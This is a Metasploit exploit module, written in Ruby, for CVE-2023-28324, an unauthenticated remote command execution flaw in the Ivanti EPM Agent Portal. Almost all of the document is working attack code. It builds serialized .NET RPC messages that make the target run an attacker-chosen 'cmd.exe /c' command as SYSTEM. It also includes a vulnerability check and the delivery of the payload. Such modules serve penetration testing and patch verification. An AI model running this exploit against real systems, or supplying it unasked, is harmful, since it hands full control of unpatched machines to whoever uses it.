Ivanti EPM Agent Portal Command Execution Exploit

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'rex/proto/ms_nrtp/client'

class MetasploitModule < Msf::Exploit::Remote
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::Tcp

  Rank = ExcellentRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti EPM Agent Portal Command Execution',
        'Description' => %q{
          This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method
          which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM.
          This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.
        },
        'Author' => [
          'James Horseman', # original poc
          'Zach Hanley', # original poc
          'Spencer McIntyre' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-28324'],
          ['URL', 'https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US'],
          ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'],
        ],
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-06-07', # Ivanti article created date
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options([
      Opt::RPORT(nil, true, 'The target port is not static. For more info, see this module\'s Verifications Steps in the docs.'),
    ])
    deregister_options('SSL')
  end

  def check
    cwd = execute_command('echo %cd%', 0)
    return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i

    CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}")
  rescue Rex::SocketError => e
    CheckCode::Safe("MS-NRTP connection failed. #{e.class}: #{e.message}")
  end

  def exploit
    execute_command(payload.raw)
  end

  def execute_command(command, result_delay = -1)
    if @nrtp_client.nil?
      @nrtp_client = client = IAgentPortal.new(
        datastore['RHOST'],
        datastore['RPORT'],
        'LANDeskAgentPortal/LDSM',
        context: { 'Msf' => framework, 'MsfExploit' => self }
      )
      client.connect
      vprint_status('Connected to the remote end point')
    else
      client = @nrtp_client
    end

    client.do_request(command)
    return nil unless result_delay >= 0

    sleep result_delay
    client.do_get_result
  end
end

class IAgentPortal < Rex::Proto::MsNrtp::Client
  def recv_binary
    Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv)
  end

  def send_recv_binary(serialized_stream)
    send_binary(serialized_stream)
    recv_binary
  end

  def do_request(shell_command)
    ss_response = send_recv_binary(ss_request(shell_command))
    method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] }
    method_return.record_value.return_value.val.value
  end

  def do_get_result
    ss_response = send_recv_binary(ss_get_result)
    ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] }
    return nil unless ass

    ass.record_value.members.first.record_value.string.value
  end

  private

  def ss_get_result
    Msf::Util::DotNetDeserialization::Types::SerializedStream.new({
      records: [
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],
          record_value: {
            message_enum: {
              no_context: 1,
              args_inline: 1
            },
            method_name: 'GetResult',
            type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb',
            args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: 'localhost' }]
          }
        },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] }
      ]
    })
  end

  def ss_request(shell_command)
    Msf::Util::DotNetDeserialization::Types::SerializedStream.new({
      records: [
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],
          record_value: {
            message_enum: {
              method_signature_in_array: 1,
              no_context: 1,
              args_in_array: 1
            },
            method_name: 'Request',
            type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb'
          }
        },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: 'localhost' } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: 'cmd.exe' } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: "/c #{shell_command}" } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: 'System.Type' } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes],
          record_value: {
            class_info: { obj_id: 5, name: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum', member_count: 1, member_names: ['value__'] },
            member_type_info: { binary_type_enums: [0], additional_infos: [8] },
            library_id: 11,
            member_values: [1]
          }
        },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes],
          record_value: {
            class_info: { obj_id: 8, name: 'System.UnitySerializationHolder', member_count: 3, member_names: ['Data', 'UnityType', 'AssemblyName'] },
            member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] },
            member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: 'System.String' } }, 4, { record_type: 6, record_value: { obj_id: 13, string: 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' } }]
          }
        },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId],
          record_value: {
            obj_id: 9,
            metadata_id: 8,
            member_values: [
              { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum' } },
              4,
              { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }
            ]
          }
        },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} }
      ]
    })
  end
end